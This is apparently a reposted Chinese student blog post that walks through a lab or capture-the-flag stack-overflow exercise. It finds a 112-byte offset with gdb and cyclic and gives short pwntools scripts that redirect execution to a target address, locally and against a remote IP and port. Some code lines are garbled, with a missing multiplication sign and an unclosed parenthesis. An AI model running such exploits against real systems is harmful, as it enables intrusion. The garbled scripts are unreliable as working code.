实验二之寻找丢失的flag

菜鸟进阶

你好! 这是我第一次使用虚拟机来做实验,Linux的终端操作完全不懂呀,只能请教大神,大神告诉我说,你看到什么信息就去百度好了。好吧,万能的百度我相信你了!!!

菜鸟起飞

通过分析老胡发给我们的新手链接,模仿博客中的细节,边模仿边找同学讲解,最后终于完成了实验任务。话不多说,上图。

一、 实验任务: 通过栈溢出,来修改系统权限;
二、 实验步骤:
1、首先用gdb打开pwn文件在这里插入图片描述
2、输入(run)指令在这里插入图片描述
3、此时,发现系统让我们输入字符,我们现在使用(cyclic 200)指令来输入在这里插入图片描述
4、发现报错,那么就是溢出了。观察可知溢出的地方是‘0x62616164’。那么怎么知道到底有多少个数字溢出了呢?看他报错的意思是(跳转到0x62616164)这步出错了,意思就是没有0x62616164这个位置,那这个位置是从哪来的呢,就是我们200个有序字符其中最先溢出的第部分。那么只要知道这个0x62616164是我们输入的第几个,就可以数出来它前头有几个数字了。根据ASCII码表,又根据‘0x’是16进制的意思,可以查表得出这串数字转换成字母是‘baad’。接下来就要知道cyclic的顺序了,稍微观察一下就可以知道cyclic的规则(4个数4个数有规则),轻易的就可以数出它的位置。
5、退出gdb在这里插入图片描述
6、使用指令cyclic -l ‘0x62616164’,计算出溢出地方为112。那么这112个字母就是填充空栈的所需量了。接下来多的就会溢出。那么我们就要把我们要他跳转的位置放在112个字母后让他溢出,就可以实现跳转。
7、from pwn import *
sh=process(’./pwn)
elf=ELF(’./pwn’)
target=0x0804863A
sh.sendline(‘a’112+p32(target))
sh.interactive()
8、当然运行这些指令之前,你需要新建一个flag文件,填上你自己的内容,然后就能打开啦,看效果。在这里插入图片描述
9、你想要远程的么,改一下指令就行啦。
from pwn import *
sh=remote(‘138.128.212.238’,9999
elf=ELF(’./pwn’)
target=0x0804858B
sh.sendline(112
’a’+p32(target))
sh.interactive()在这里插入图片描述
好啦,实验做完啦。简单吧,你也来试试吧!!!

猜你喜欢

转载自blog.csdn.net/kdxxixi/article/details/88553804
今日推荐